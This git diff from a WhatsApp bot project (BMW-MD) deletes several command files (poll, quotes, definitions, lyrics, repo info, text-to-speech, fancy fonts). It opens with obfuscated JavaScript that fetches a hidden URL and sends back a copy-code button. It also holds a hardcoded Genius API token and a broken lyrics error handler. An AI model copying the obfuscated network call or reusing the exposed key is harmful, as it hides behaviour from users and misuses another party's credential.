_0x5117a9(_0x28ac8d,_0x1485f9,_0x4e4d57);},'vZSHV':_0x2bde19(0x16b)+_0x2bde19(0x183)+_0x2bde19(0x173),'LGZAQ':_0x2bde19(0x170)+_0x2bde19(0x17f)+_0x2bde19(0x155),'EaIVU':_0x2bde19(0x189)+_0x2bde19(0x14a)+_0x2bde19(0x17d),'IWYwZ':function(_0x8c5e2c,_0x35f88b){return _0x8c5e2c(_0x35f88b);},'KpwBg':_0x2bde19(0x189)+_0x2bde19(0x190)+_0x2bde19(0x157)+'i.'},{repondre:_0x4dcc14,arg:_0x59a25f,ms:_0x4adfaf}=_0x383a62;try{if(!_0x59a25f||_0x16f3e1[_0x2bde19(0x16f)](_0x59a25f[_0x2bde19(0x152)],-0xa9b+0x1a8a+-0xfef*0x1))return _0x16f3e1[_0x2bde19(0x15f)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x16c)]);await _0x16f3e1[_0x2bde19(0x15f)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x148)]);const _0x34d71e=_0x16f3e1[_0x2bde19(0x141)](encodeURIComponent,_0x59a25f[_0x2bde19(0x18c)]('\x20')),_0x41faea=_0x2bde19(0x15a)+_0x2bde19(0x154)+_0x2bde19(0x174)+_0x2bde19(0x178)+_0x2bde19(0x168)+'r='+_0x34d71e,_0x6b1cd9=await axios[_0x2bde19(0x13c)](_0x41faea),_0x44eaf1=_0x6b1cd9[_0x2bde19(0x15e)];if(_0x44eaf1&&_0x44eaf1[_0x2bde19(0x16d)]){const _0x4e8828=_0x44eaf1[_0x2bde19(0x16d)],_0x3373e9=_0x2bde19(0x153)+_0x2bde19(0x15b)+_0x2bde19(0x14b)+_0x4e8828+_0x2bde19(0x185),_0x425e6c=[{'name':_0x16f3e1[_0x2bde19(0x167)],'buttonParamsJson':JSON[_0x2bde19(0x164)]({'display_text':_0x16f3e1[_0x2bde19(0x166)],'id':_0x16f3e1[_0x2bde19(0x181)],'copy_code':_0x4e8828})}],_0x57ca44=_0x16f3e1[_0x2bde19(0x140)](generateWAMessageFromContent,_0x2e0eb5,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x151)]({'body':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x13e)][_0x2bde19(0x151)]({'text':_0x3373e9}),'footer':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x171)][_0x2bde19(0x151)]({'text':_0x16f3e1[_0x2bde19(0x165)]}),'header':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x150)][_0x2bde19(0x151)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x2bde19(0x16e)][_0x2bde19(0x14e)+_0x2bde19(0x13f)][_0x2bde19(0x145)+_0x2bde19(0x16e)][_0x2bde19(0x151)]({'buttons':_0x425e6c})})}}},{});await _0x44bcf5[_0x2bde19(0x144)+'ge'](_0x2e0eb5,_0x57ca44[_0x2bde19(0x18d)],{'messageId':_0x57ca44[_0x2bde19(0x15c)]['id']});}else throw new Error(_0x16f3e1[_0x2bde19(0x158)]);}catch(_0x336fe4){console[_0x2bde19(0x175)](_0x16f3e1[_0x2bde19(0x187)],_0x336fe4[_0x2bde19(0x18d)]),_0x16f3e1[_0x2bde19(0x160)](_0x4dcc14,_0x16f3e1[_0x2bde19(0x17a)]);}});
\ No newline at end of file
diff --git a/scs/bmwr.js b/scs/bmwr.js
deleted file mode 100644
index 46a24ce..0000000
--- a/scs/bmwr.js
+++ /dev/null
@@ -1,114 +0,0 @@
-const {
- adams
-} = require("../Ibrahim/adams");
-const axios = require("axios");
-const Genius = require("genius-lyrics");
-const Client = new Genius.Client("jKTbbU-6X2B9yWWl-KOm7Mh3_Z6hQsgE4mmvwV3P3Qe7oNa9-hsrLxQV5l5FiAZO");
-adams({
- 'nomCom': 'poll',
- 'reaction': '💠',
- 'categorie': "General"
-}, async (_0x30c4fc, _0x12f9f4, _0x257571) => {
- const {
- repondre: _0x394782,
- arg: _0x3aacc5,
- ms: _0x50fea5
- } = _0x257571;
- const _0x24dbc4 = _0x3aacc5.join(" ");
- let [_0x48d7c3, _0x3c6856] = _0x24dbc4.split('/');
- if (_0x24dbc4.split('/') < 0x2) {
- return _0x394782("Incorrect format.\nExample: poll what is 1+1/2, 3, 4");
- }
- let _0x28e247 = [];
- for (let _0x44e06d of _0x3c6856.split(',')) {
- _0x28e247.push(_0x44e06d);
- }
- await _0x12f9f4.sendMessage(_0x30c4fc, {
- 'poll': {
- 'name': _0x48d7c3,
- 'values': _0x28e247
- }
- });
-});
-
-adams({
- 'nomCom': 'fact',
- 'reaction': '👌',
- 'categorie': 'User'
-}, async (_0x3c85fa, _0xe0dd81, _0x20339c) => {
- const {
- repondre: _0x12e23a,
- arg: _0xec0687,
- ms: _0x5d5368
- } = _0x20339c;
- const _0x5754a8 = await fetch("https://nekos.life/api/v2/fact");
- const _0x21e127 = await _0x5754a8.json();
- _0x12e23a(" *BMW MD FACT MESSAGE* \n*💠* " + _0x21e127.fact + "\n\n\n\n\n*©Ibrahim Adams*\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ");
-});
-adams({
- 'nomCom': "quote",
- 'reaction': '🗿',
- 'categorie': 'User'
-}, async (_0x139e97, _0xb6d444, _0x53dc51) => {
- const {
- repondre: _0x3bef2d,
- arg: _0x135e01,
- ms: _0x4a891b
- } = _0x53dc51;
- const _0x2784cf = await fetch('https://favqs.com/api/qotd');
- const _0x1f25fb = await _0x2784cf.json();
- const _0x2b238b = "\nBMW MD QUITE MESSAGE \n◇ _" + _0x1f25fb.quote.body + "_\n\n\n◇ *AUTHOR:* " + _0x1f25fb.quote.author + "\n\n\n\n\n◇ *©Ibrahim Adams**\n\n\n╔═════◇\n║◇ *BMW MD*\n╚════════════════════> ";
- _0x3bef2d(_0x2b238b);
-});
-adams({
- 'nomCom': 'define',
- 'reaction': '😁',
- 'categorie': "Search"
-}, async (_0x2d6773, _0x1778cf, _0x5bcf7e) => {
- const {
- repondre: _0x3c6e3b,
- arg: _0x3997ea,
- ms: _0x10a9bb
- } = _0x5bcf7e;
- if (!_0x3997ea || _0x3997ea.length === 0x0) {
- return _0x3c6e3b("provide a term");
- }
- const _0x243eb3 = _0x3997ea.join(" ");
- try {
- let {
- data: _0x31830d
- } = await axios.get("http://api.urbandictionary.com/v0/define?term=" + _0x243eb3);
- var _0x259634 = "\n Word: " + _0x243eb3 + "\n Definition: " + _0x31830d.list[0x0].definition.replace(/\[/g, '').replace(/\]/g, '') + "\n Example: " + _0x31830d.list[0x0].example.replace(/\[/g, '').replace(/\]/g, '');
- return _0x3c6e3b(_0x259634);
- } catch {
- return _0x3c6e3b("No result for " + _0x243eb3);
- }
-});
-adams({
- 'nomCom': "lyrics",
- 'reaction': '🗞',
- 'categorie': "Search"
-}, async (_0x16b585, _0x24921b, _0x5047e1) => {
- const {
- repondre: _0x323d88,
- arg: _0x47ee56,
- ms: _0x26dbd3
- } = _0x5047e1;
- try {
- if (!_0x47ee56 || _0x47ee56.length === 0x0) {
- return _0x323d88("please provide me the song name");
- }
- const _0x2d6993 = _0x47ee56.join(" ");
- const _0x19a972 = await Client.songs.search(_0x2d6993);
- const _0x349a1c = _0x19a972[0x0];
- const _0x3e8204 = await _0x349a1c.lyrics();
- await _0x24921b.sendMessage(_0x16b585, {
- 'text': _0x3e8204
- }, {
- 'quoted': _0x26dbd3
- });
- } catch (_0xe736b5) {
- reply("I did not find any lyrics for " + text + ". Try searching a different song.");
- console.log(_0xe736b5);
- }
-});
diff --git a/scs/bmwrepo.js b/scs/bmwrepo.js
deleted file mode 100644
index f3c3343..0000000
--- a/scs/bmwrepo.js
+++ /dev/null
@@ -1,1338 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
- 'value': true
-});
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "repo",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
- const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
- const _0x36b130 = await _0x2f4eff.json();
- if (_0x36b130) {
- const _0x50985d = {
- 'stars': _0x36b130.stargazers_count,
- 'forks': _0x36b130.forks_count,
- 'lastUpdate': _0x36b130.updated_at,
- 'owner': _0x36b130.owner.login
- };
- const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x3cdb38.sendMessage(_0x256950, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x20cf11
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-adams({
- 'nomCom': "git",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
- const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x54f98d = await _0x23b84a.json();
- if (_0x54f98d) {
- const _0x33ab65 = {
- 'stars': _0x54f98d.stargazers_count,
- 'forks': _0x54f98d.forks_count,
- 'lastUpdate': _0x54f98d.updated_at,
- 'owner': _0x54f98d.owner.login
- };
- const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
- await _0xc5957d.sendMessage(_0x2ad97e, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x305ae3
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'sc',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
- const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x3fb866 = await _0x21464f.json();
- if (_0x3fb866) {
- const _0x4bac21 = {
- 'stars': _0x3fb866.stargazers_count,
- 'forks': _0x3fb866.forks_count,
- 'lastUpdate': _0x3fb866.updated_at,
- 'owner': _0x3fb866.owner.login
- };
- const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x41191c.sendMessage(_0x1f8a03, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x58e2e9
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'script',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
- const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x40fb34 = await _0x10746e.json();
- if (_0x40fb34) {
- const _0x4777ba = {
- 'stars': _0x40fb34.stargazers_count,
- 'forks': _0x40fb34.forks_count,
- 'lastUpdate': _0x40fb34.updated_at,
- 'owner': _0x40fb34.owner.login
- };
- const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x300ccb.sendMessage(_0x44e4c9, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x338973
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmws.js b/scs/bmws.js
deleted file mode 100644
index ebf0562..0000000
--- a/scs/bmws.js
+++ /dev/null
@@ -1,74 +0,0 @@
-const googleTTS = require('google-tts-api');
-const {adams} = require("../Ibrahim/adams");
-
-
-adams( {
- nomCom : "dit",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("Insert a word");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'fr',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-
-}
-) ;
-
-adams( {
- nomCom : "itta",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("nana");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'ja',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-}
-) ;
-
-adams( {
- nomCom : "say",
- categorie : "tts",
- reaction : "👄" },
- async(dest,zk, commandeOptions)=> {
-
-const {ms,arg,repondre} = commandeOptions;
- if (!arg[0]) {repondre("Insert a word");return} ;
- const mots = arg.join(" ")
-
-const url = googleTTS.getAudioUrl( mots, {
- lang: 'en',
- slow: false,
- host: 'https://translate.google.com',
-});
-console.log(url);
- zk.sendMessage(dest, { audio: { url:url},mimetype:'audio/mp4' }, { quoted: ms,ptt: true });
-
-
-
-}
-) ;
-
diff --git a/scs/bmwt.js b/scs/bmwt.js
deleted file mode 100644
index 87f9a1d..0000000
--- a/scs/bmwt.js
+++ /dev/null
@@ -1,62 +0,0 @@
-function apply(map, text) {
- let result = "";
- for (let character of text.split("")) {
- if (map[character] !== undefined) result += map[character];
- else if (map[character.toLowerCase()] !== undefined) result += map[character.toLowerCase()];
- else result += character;
- }
- return result;
-}
-
-function list(text, fancy) {
- let styles = Object.keys(fancy).filter(e => e.length < 3);
- let msg = '\n*Availabe Fancy styles for BMW-MD:*\n\n';
- for (let style in styles) {
- if (style == 33) {
- msg += (parseInt(style) + 1) + '. ' + 'bmw-md' + '\n';
- } else {
- msg += (parseInt(style) + 1) + '. ' + fancy.apply(fancy[parseInt(style)], text) + '\n';
- }
- }
- return msg;
-}
-
-
-module.exports = {
- 0:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ" },
- 1:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ" },
- 2:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙" },
- 3:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙" },
- 4:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉" },
- 5:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ" },
- 6:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ" },
- 7:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ" },
